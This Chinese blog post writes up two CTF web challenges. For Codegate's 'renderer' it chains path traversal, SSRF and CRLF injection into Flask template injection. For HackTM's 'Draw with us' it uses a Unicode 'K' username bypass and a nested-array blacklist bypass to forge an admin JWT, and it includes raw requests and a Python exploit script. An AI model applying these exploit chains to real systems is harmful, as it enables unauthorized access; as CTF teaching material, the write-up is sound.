02.26 Codegate CTF和HackTM CTF的兩個web題解

前言

由於最近疫情比較嚴重,反正在家也無聊,就打了兩個ctf,隨便總結一下:

0x01 renderer

0x001 題目描述如下

<code>Description :It is my first flask project with nginx. Write your own message, and get flag!http://110.10.147.169/renderer/http://58.229.253.144/renderer/DOWNLOAD :http://ctf.codegate.org/099ef54feeff0c4e7c2e4c7dfd7deb6e/022fd23aa5d26fbeea4ea890710178e9/<code>

0x002 首頁如下

Codegate CTF和HackTM CTF的兩個web題解

首頁只有一個url的提交框感覺應該是考SSRF。

我們隨便訪問一下:用http://110.10.147.169/renderer/whatismyip:

Codegate CTF和HackTM CTF的兩個web題解

它返回了whatismyip頁面的數據。

但是當我用https://www.baidu.com訪問時服務器出現500錯誤,因此判斷是要利用ssrf讀取敏感文件這類似的操作。

SSRF攻擊與防禦:

課程:SSRF攻擊與防禦(合天網安實驗室)

複製上方鏈接做實驗。

Codegate CTF和HackTM CTF的兩個web題解

0x003 獲取源碼

題目給我們提供了源碼因此我們先下來看看。

/settings/run.sh

<code>#!/bin/bashservice nginx stopmv /etc/nginx/sites-enabled/default /tmp/mv /tmp/nginx-flask.conf /etc/nginx/sites-enabled/flaskservice nginx restartuwsgi /home/src/uwsgi.ini &/bin/bash /home/cleaner.sh &/bin/bash/<code>

上面的run.sh文件主要是Flask + Nginx + uWSGI的配置和服務器的相關服務的啟動。

可以參考該鏈接,或者搜索Flask + Nginx + uWSGI瞭解相關配置。

Dockerfile

<code>FROM python:2.7.16ENV FLAG CODEGATE2020{**DELETED**}RUN apt-get updateRUN apt-get install -y nginxRUN pip install flask uwsgiADD prob_src/src /home/srcADD settings/nginx-flask.conf /tmp/nginx-flask.confADD prob_src/static /home/staticRUN chmod 777 /home/staticRUN mkdir /home/ticketsRUN chmod 777 /home/ticketsADD settings/run.sh /home/run.shRUN chmod +x /home/run.shADD settings/cleaner.sh /home/cleaner.shRUN chmod +x /home/cleaner.shCMD ["/bin/bash", "/home/run.sh"]/<code>

從Dockerfile文件中我們可以看到它應該是一個flask應用程序。

結合上面的兩個文件我們和他提供的/renderer/路由我們可以判斷存在目錄遍歷漏洞,由於我們知道/home/static的目錄位置因此我們可以通過這個配置漏洞來遍歷敏感文件。

0x004 代碼下載與解析:

http://110.10.147.169/static../src/uwsgi.ini

<code>[uwsgi]chdir = /home/srcmodule = runcallable = appprocesses = 4uid = www-datagid = www-datasocket = /tmp/renderer.sockchmod-socket = 666vacuum = truedaemonize = /tmp/uwsgi.logdie-on-term = truepidfile = /tmp/renderer.pid/<code>

uwsgi.ini是WSGI服務器的配置文件,WSGI一般用來管理flask等框架。

感興趣的可以查看這篇文章https://uwsgi-docs-cn.readthedocs.io/zh_CN/latest/WSGIquickstart.html

http://110.10.147.169/static../src/run.py

<code>from app import *import sysdef main():    #TODO : disable debug    app.run(debug=False, host="0.0.0.0", port=80)if __name__ == '__main__':    main()/<code>

上面的代碼是應用程序的入口。

http://110.10.147.169/static../src/app/__init__.py

<code>from flask import Flaskfrom app import routesimport osapp = Flask(__name__)app.url_map.strict_slashes = Falseapp.register_blueprint(routes.front, url_prefix="/renderer")app.config["FLAG"] = os.getenv("FLAG", "CODEGATE2020{}")/<code>

該flask框架是使用藍圖的模塊化應用,並且我們可以看到FLAG是flash框架的配置參數。

http://110.10.147.169/static../src/app/routes.py

<code>from flask import Flask, render_template, render_template_string, request, redirect, abort, Blueprintimport urllib2import timeimport hashlibfrom os import pathfrom urlparse import urlparsefront = Blueprint("renderer", __name__)@front.before_requestdef test():    print(request.url)@front.route("/", methods=["GET", "POST"])def index():    if request.method == "GET":        return render_template("index.html")    url = request.form.get("url")    res = proxy_read(url) if url else False    if not res:        abort(400)    return render_template("index.html", data = res)@front.route("/whatismyip", methods=["GET"])def ipcheck():    return render_template("ip.html", ip = get_ip(), real_ip = get_real_ip())@front.route("/admin", methods=["GET"])def admin_access():    ip = get_ip()    rip = get_real_ip()    if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :)        abort(403)    if ip != rip: #if use proxy        ticket = write_log(rip)        return render_template("admin_remote.html", ticket = ticket)    else:        if ip == "127.0.0.2" and request.args.get("body"):            ticket = write_extend_log(rip, request.args.get("body"))            return render_template("admin_local.html", ticket = ticket)        else:            return render_template("admin_local.html", ticket = None)@front.route("/admin/ticket", methods=["GET"])def admin_ticket():    ip = get_ip()    rip = get_real_ip()    if ip != rip: #proxy doesn't allow to show ticket        print 1        abort(403)    if ip not in ["127.0.0.1", "127.0.0.2"]: #only local        print 2        abort(403)    if request.headers.get("User-Agent") != "AdminBrowser/1.337":        print request.headers.get("User-Agent")        abort(403)    if request.args.get("ticket"):        log = read_log(request.args.get("ticket"))        if not log:            print 4            abort(403)        return render_template_string(log)def get_ip():    return request.remote_addrdef get_real_ip():    return request.headers.get("X-Forwarded-For") or get_ip()def proxy_read(url):    #TODO : implement logging    s = urlparse(url).scheme    if s not in ["http", "https"]: #sjgdmfRk akfRk        return ""    return urllib2.urlopen(url).read()def write_log(rip):    tid = hashlib.sha1(str(time.time()) + rip).hexdigest()    with open("/home/tickets/%s" % tid, "w") as f:        log_str = "Admin page accessed from %s" % rip        f.write(log_str)    return tiddef write_extend_log(rip, body):    tid = hashlib.sha1(str(time.time()) + rip).hexdigest()    with open("/home/tickets/%s" % tid, "w") as f:        f.write(body)    return tiddef read_log(ticket):    if not (ticket and ticket.isalnum()):        return False    if path.exists("/home/tickets/%s" % ticket):        with open("/home/tickets/%s" % ticket, "r") as f:            return f.read()    else:        return False/<code>

1.首先代碼有一處比較明顯的漏洞在admin_ticket()中使用這個render_template_string()函數渲染字符串,這是一個ssti注入,相信大家不會陌生。

2.但是我們想要利用需要ip=rip,ip在["127.0.0.1","127.0.0.2"]中並且User-Agent="AdminBrowser/1.337",還有ticket文件名必須知道。

3.經過了許久的苦思之後,後來同學丟給我一個鏈接,經他提醒才知道是CRLF注入。

下面我們就一起來梳理一下:

1.當我們訪問/renderer/時會調用index()函數,利用ssrf和CRLF注入我們可以使ip等於127.0.0.1,rip等於{{config.FLAG}},由於ip != rip那麼將會把rip寫入到/home/tickets/的某個文件中(文件名為數字),然後通過admin_remote.html文件將文件名ticket顯示在其中:

<code>{% extends "base.html" %}{% block usertyle %}<link>{% endblock %}{% block body %}

Codegate '20 Proxy Admin Page


{% if ticket %}

Your access log is written with ticket no {{ ticket }}

{% endif %}
{% endblock %}/<code>

上面的admin_remote.html是用ssrf渲染的然後再將其作為數據渲染顯示在index.html中這樣我們就拿到了ticket的值:

下面是請求的過程:

Codegate CTF和HackTM CTF的兩個web題解

2.根據上面的步驟我們已經將惡意代碼寫入到了/home/tickets/0008651ea04209ff2d014745533034d815ea9707文件當中,現在我們就要把他讀取出來作為render_template_string(log)的參數渲染就可以拿到flag了。

3.跟上面一樣我們訪問/renderer/會調用index(),然後利用ssrf訪問/admin/ticket再利用CRLF注入,可以使ip=rip,ip=127.0.0.1,User-Agent="AdminBrowser/1.337",由於上面第1步我們已經獲取了ticket,因此直接調用read_log()函數將惡意代碼讀出來傳入render_template_string(log)渲染即可rce。

下面是請求的過程:

Codegate CTF和HackTM CTF的兩個web題解

成功獲取flag:

<code>CODEGATE2020{CrLfMakesLocalGreatAgain}/<code>

相關實驗:flask服務端模板注入漏洞

實驗:Flask服務端模板注入漏洞(合天網安實驗室)

Codegate CTF和HackTM CTF的兩個web題解

0x02 Draw with us

0x001 題目源碼鏈接如下:

<code>const express = require("express"); const cors = require("cors"); const app = express(); const uuidv4 = require("uuid/v4"); const md5 = require("md5"); const jwt = require("express-jwt"); const jsonwebtoken = require("jsonwebtoken"); const server = require("http").createServer(app); const io = require("socket.io")(server); const bigInt = require("big-integer"); const { flag, p, n, _clearPIN, jwtSecret } = require("./flag");const config = {   port: process.env.PORT || 8081,   width: 120,   height: 80,   usersOnline: 0,   message: "Hello there!",   p: p,   n: n,   adminUsername: "hacktm",   whitelist: ["/", "/login", "/init"],   backgroundColor: 0x888888,   version: Number.MIN_VALUE };io.sockets.on("connection", function(socket) {   config.usersOnline++;   socket.on("disconnect", function() {     config.usersOnline--;   }); });let users = {   0: {     username: config.adminUsername,     rights: Object.keys(config)   } };let board = new Array(config.height)     .fill(0)     .map(() => new Array(config.width).fill(config.backgroundColor)); let boardString = boardToStrings();app.use(express.json()); app.use(cors()); app.use(     jwt({ secret: jwtSecret }).unless({       path: config.whitelist     }) ); app.use(function(error, req, res, next) {   if (error.name === "UnauthorizedError") {     res.json(err("Invalid token or not logged in."));   } });function sign(o) {   return jsonwebtoken.sign(o, jwtSecret); }function isAdmin(u) {   return u.username.toLowerCase() == config.adminUsername.toLowerCase(); }function ok(data = {}) {   return { status: "ok", data: data }; }function err(msg = "Something went wrong.") {   return { status: "error", message: msg }; }function onlyUnique(value, index, self) {   return self.indexOf(value) === index; }app.get("/", (req, res) => {   // Get current board   res.json(ok({ board: boardString })); });app.post("/init", (req, res) => {   // Initialize new round and sign admin token   // RSA protected!   // POST   // {   //   p:"0",   //   q:"0"   // }let { p = "0", q = "0", clearPIN } = req.body;let target = md5(config.n.toString());let pwHash = md5(       bigInt(String(p))           .multiply(String(q))           .toString()   );if (pwHash == target && clearPIN === _clearPIN) {     // Clear the board     board = new Array(config.height)         .fill(0)         .map(() => new Array(config.width).fill(config.backgroundColor));     boardString = boardToStrings();io.emit("board", { board: boardString });}//Sign the admin ID   let adminId = pwHash       .split("")       .map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))       .reduce((a, b) => a + b);console.log(adminId);res.json(ok({ token: sign({ id: adminId }) })); });app.get("/flag", (req, res) => {   // Get the flag   // Only for root   if (req.user.id == 0) {     res.send(ok({ flag: flag }));   } else {     res.send(err("Unauthorized"));   } });app.get("/serverInfo", (req, res) => {   // Get server info   // Only for logged in userslet user = users[req.user.id] || { rights: [] };   let info = user.rights.map(i => ({ name: i, value: config[i] }));   res.json(ok({ info: info })); });app.post("/paint", (req, res) => {   // Paint on the canvas   // Only for logged in users   // POST   // {   //   x:0,   //   y:0   // }   let user = users[req.user.id] || {};x = req.body.x;   y = req.body.y;let color = user.color || 0x0;if (board[y] && board[y][x] >= 0) {     board[y][x] = color;     boardString = boardToStrings();     io.emit("change", { change: { pos: [x, y], color: color } });     res.send(ok());   } else {     res.send(err("Invalid painting"));   } });app.post("/updateUser", (req, res) => {   // Update user color and rights   // Only for admin   // POST   // {   //   color: 0xDEDBEE,   //   rights: ["height", "width", "usersOnline"]   // }   let uid = req.user.id;   let user = users[uid];   if (!user || !isAdmin(user)) {     res.json(err("You're not an admin!"));     return;   }   let color = parseInt(req.body.color);   users[uid].color = (color || 0x0) & 0xffffff;   let rights = req.body.rights || [];   if (rights.length > 0 && checkRights(rights)) {     users[uid].rights = user.rights.concat(rights).filter(onlyUnique);   }res.json(ok({ user: users[uid] })); });app.post("/login", (req, res) => {   // Login   // POST   // {   //   username: "dumbo",   // }let u = {     username: req.body.username,     id: uuidv4(),     color: Math.random() < 0.5 ? 0xffffff : 0x0,     rights: [       "message",       "height",       "width",       "version",       "usersOnline",       "adminUsername",       "backgroundColor"     ]   };if (isValidUser(u)) {     users[u.id] = u;     res.send(ok({ token: sign({ id: u.id }) }));   } else {     res.json(err("Invalid creds"));   } });function isValidUser(u) {   return (       u.username.length >= 3 &&       u.username.toUpperCase() !== config.adminUsername.toUpperCase()   ); }function boardToStrings() {   return board.map(b => b.join(",")); }function checkRights(arr) {   let blacklist = ["p", "n", "port"];   for (let i = 0; i < arr.length; i++) {     const element = arr[i];     if (blacklist.includes(element)) {       return false;     }   }   return true; }server.listen(config.port, () =>     console.log(Server listening on port ${config.port}!) );/<code>

獲取flag是我們的目標,因此我們需要從怎麼獲取flag入手,下面這段代碼返回了flag:

<code>app.get("/flag", (req, res) => {  // Get the flag  // Only for root  if (req.user.id == 0) {    res.send(ok({ flag: flag }));  } else {    res.send(err("Unauthorized"));  }});/<code>

其中req.user.id是由JWT簽名的,並且是在登陸的時候由服務器隨機生成的。我必須去獲得一個簽名的token並且其中的id值是0。但是如果我們拿不到jwtSecret,簽名是安全的。

剛開始我嘗試了JWTnone攻擊,構造方法如下:

<code>{  "id": "dff3dc0b-b6fd-494e-8a8b-329fc600f4fb",  "iat": 1581076667}改成:{  "id": "0",  "iat": 1581076667}{  "alg": "HS256",  "typ": "JWT"}改成{  "alg": "none",  "typ": "JWT"}/<code>

但是沒有用。

參考鏈接如下:

https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/

使用構造工具如下:

https://jwt.io/

0x002 我們繼續閱讀上面的源碼,在/init中返回了JWT的簽名如下:

<code>//Sign the admin ID  let adminId = pwHash      .split("")      .map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))      .reduce((a, b) => a + b);  console.log(adminId);  res.json(ok({ token: sign({ id: adminId }) }));/<code>

從上面我們知道要獲取flag我們需要讓adminId為0,因此需要target^pwHash為0這意味著target===pwHash。

1.target是這個config.n的md5值。

2.pwHash是這個q*p的md5值。

我們需要得到config.n,這樣就可以用n/p得到q了,那麼就可以構成target===pwHash了。

現在我們繼續往下看。

我們可以看到在/serverInfo中返回了一些在config的元素:

<code>app.get("/serverInfo", (req, res) => {  let user = users[req.user.id] || { rights: [] };  let info = user.rights.map(i => ({ name: i, value: config[i] }));  res.json(ok({ info: info }));});/<code>

從上面我們知道每個用戶的默認權限是:[ "message", "height", "width", "version", "usersOnline", "adminUsername", "backgroundColor" ](在/login的路由裡顯示)

我們的默認權限沒有n,p,因此我們需要去添加n和p到我們的用戶權限列表中,但是隻要adminU可以,下面會介紹。

在這個/updateUser中的我們可以去添加用戶權限到權限列表中。

但是當我們發送["p","n"]時:將會返回You're not an admin!。

我們可以看看他是怎麼處理的:

<code>if (!user || !isAdmin(user)) {  res.json(err("You're not an admin!"));  return;}/<code>

跟進isAdmin(user)

<code>function isAdmin(u) {  return u.username.toLowerCase() == config.adminUsername.toLowerCase();}/<code>

我們需要username.toLowerCase() === adminUsername.toLowerCase()。

從上面的代碼中我們可以看到adminUsername是hacktm如果我們嘗試去登陸(/login)使用hacktm我們將會獲取下面的信息:

<code>Invalid creds/<code>

我們可以看到登陸中的驗證方法:

<code>function isValidUser(u) {  return (      u.username.length >= 3 &&      u.username.toUpperCase() !== config.adminUsername.toUpperCase()  );}/<code>

綜上所述,我們需要:

  • u.username.toUpperCase() !== config.adminUsername.toUpperCase()
  • username.toLowerCase() === adminUsername.toLowerCase()

我們可以通過unicode的K來繞過ascii的K,例如:

<code>console.log('K'.toUpperCase()==='k'.toUpperCase());console.log('K'.toLowerCase()==='k'.toLowerCase());/<code>

結果如下:

<code>falsetrue/<code>

生成的腳本如下:

<code>const admin="hacktm";const tmp1=admin.toUpperCase().split('');const tmp2=admin.toLowerCase().split('');for (let i=0;i<100000;i++){    const char=String.fromCharCode(i);    if(tmp1.includes(char.toUpperCase())||tmp2.includes(char.toLowerCase())){        console.log(i,char,char.toUpperCase(),char.toLowerCase());    }}/<code>

結果如下:

<code>65 'A' 'A' 'a'67 'C' 'C' 'c'72 'H' 'H' 'h'75 'K' 'K' 'k'77 'M' 'M' 'm'84 'T' 'T' 't'97 'a' 'A' 'a'99 'c' 'C' 'c'104 'h' 'H' 'h'107 'k' 'K' 'k'109 'm' 'M' 'm'116 't' 'T' 't'8490 'K' 'K' 'k'65601 'A' 'A' 'a'65603 'C' 'C' 'c'65608 'H' 'H' 'h'65611 'K' 'K' 'k'65613 'M' 'M' 'm'65620 'T' 'T' 't'65633 'a' 'A' 'a'65635 'c' 'C' 'c'65640 'h' 'H' 'h'65643 'k' 'K' 'k'65645 'm' 'M' 'm'65652 't' 'T' 't'74026 'K' 'K' 'k'/<code>

通過上面的操作可以得出hacKtm,滿足條件,K不是ascii的K:

請求/login如下:

<code>POST /login HTTP/1.1Host: 167.172.165.153:60001User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/json;charset=utf-8Authorization: Bearer undefinedContent-Length: 23Origin: http://167.172.165.153:60000Connection: closeReferer: http://167.172.165.153:60000/{"username":"hacKtm"}/<code>

我們獲得了簽名的JWT:

<code>HTTP/1.1 200 OKX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: application/json; charset=utf-8Content-Length: 199ETag: W/"c7-FOLFBWmzAHyWeAJOurHR3CgFQ7w"Date: Fri, 07 Feb 2020 11:57:47 GMTConnection: close{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImRmZjNkYzBiLWI2ZmQtNDk0ZS04YThiLTMyOWZjNjAwZjRmYiIsImlhdCI6MTU4MTA3NjY2N30.wa1XTEXY6XbTr8M0XL2vGgHtTGjTDwViCK3tu2nPIJs"}}/<code>

一切都準備就緒,使用上面的token更新用戶權限如下:

<code>POST /updateUser HTTP/1.1Host: 167.172.165.153:60001User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/json;charset=utf-8Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImRmZjNkYzBiLWI2ZmQtNDk0ZS04YThiLTMyOWZjNjAwZjRmYiIsImlhdCI6MTU4MTA3NjY2N30.wa1XTEXY6XbTr8M0XL2vGgHtTGjTDwViCK3tu2nPIJsContent-Length: 22Origin: http://167.172.165.153:60000Connection: closeReferer: http://167.172.165.153:60000/{"rights": ["n", "p"]}/<code>

將會返回如下內容:

<code>HTTP/1.1 200 OKX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: application/json; charset=utf-8Content-Length: 205ETag: W/"cd-ZjJARGQw8OB8MX5BzYLl/dWOAKM"Date: Fri, 07 Feb 2020 12:09:55 GMTConnection: close{"status":"ok","data":{"user":{"username":"hacKtm","id":"dff3dc0b-b6fd-494e-8a8b-329fc600f4fb","color":0,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor"]}}}/<code>

我們可以看到n和p沒有被添加到用戶權限列表中,通過查看源碼,這是因為checkRights(arr)函數的檢查。

0x003 繞過checkRights(arr):

在checkRights(arr)中:

<code>function checkRights(arr) {  let blacklist = ["p", "n", "port"];  for (let i = 0; i < arr.length; i++) {    const element = arr[i];    if (blacklist.includes(element)) {      return false;    }  }  return true;}/<code>

在checkRights(arr)中定義了黑名單["p", "n", "port"],只要包含裡面的任意一個字符都不會添加用戶權限。

根據js的某些特性我們可以用下面的兩個特性來解決:

  • javascript使用toString()去訪問對象的屬性。
  • 具有一個元素的數組使用toString方法是和這個元素單獨使用toString是一樣的,例如:
<code>console.log(["l"].toString()==="l".toString());// output: true/<code>
  • 感興趣的可以查看這篇文章https://www.anquanke.com/post/id/189701

使用[["p"],["n"]]payload發送到/updateUser會返回如下內容:

<code>HTTP/1.1 200 OKX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: application/json; charset=utf-8Content-Length: 217ETag: W/"d9-uCy43hPNMI1ebwEnfBO1u7Arbg8"Date: Fri, 07 Feb 2020 12:24:10 GMTConnection: close{"status":"ok","data":{"user":{"username":"hacKtm","id":"dff3dc0b-b6fd-494e-8a8b-329fc600f4fb","color":0,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor",["n"],["p"]]}}}/<code>

我們可以看到我們成功的添加了["n"],["p"]的權限。

接下來訪問/serverInfo獲取n,p的值:

<code>{"status":"ok","data":{"info":[{"name":"message","value":"Hello there!"},{"name":"height","value":80},{"name":"width","value":120},{"name":"version","value":5e-324},{"name":"usersOnline","value":12},{"name":"adminUsername","value":"hacktm"},{"name":"backgroundColor","value":8947848},{"name":["n"],"value":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979"},{"name":["p"],"value":"192342359675101460380863753759239746546129652637682939698853222883672421041617811211231308956107636139250667823711822950770991958880961536380231512617"}]}}/<code>

0x004 獲取flag:

計算q使用n/p我們獲得:

<code>q = 283463585975138667365296941492014484422030788964145259030277643596460860183630041214426435642097873422136064628904111949258895415157497887086501927987/<code>

payload.py

<code>import requestsurl = "http://167.172.165.153:60001"json={    "p":"192342359675101460380863753759239746546129652637682939698853222883672421041617811211231308956107636139250667823711822950770991958880961536380231512617",    "q":"283463585975138667365296941492014484422030788964145259030277643596460860183630041214426435642097873422136064628904111949258895415157497887086501927987"}response=requests.post(url+"/init",json=json)print(response.text)token=response.json()['data']['token']print(token)headers={    "Authorization": "Bearer %s" % token}response=requests.get(url+"/flag",headers=headers)print(response.json())/<code>

0x005 結果如下:

<code>{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgxMjM5MTcxfQ.qlYl5xN0H6NcGhRL1FwAUixGthGNztOjoFAmohimOr0"}}eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgxMjM5MTcxfQ.qlYl5xN0H6NcGhRL1FwAUixGthGNztOjoFAmohimOr0{'status': 'ok', 'data': {'flag': 'HackTM{Draw_m3_like_0ne_of_y0ur_japan3se_girls}'}}/<code>

複製鏈接做實驗:JavaScript基礎:

實驗:Javascript基礎(合天網安實驗室)

Codegate CTF和HackTM CTF的兩個web題解

0x03總結:

在做題的過程中還去學習了一下ssti注入,和flask框架,還有一些js特性,感覺這次收穫還是滿滿的。

聲明:筆者初衷用於分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為後果自負,與合天智匯及原作者無關!


分享到:


相關文章: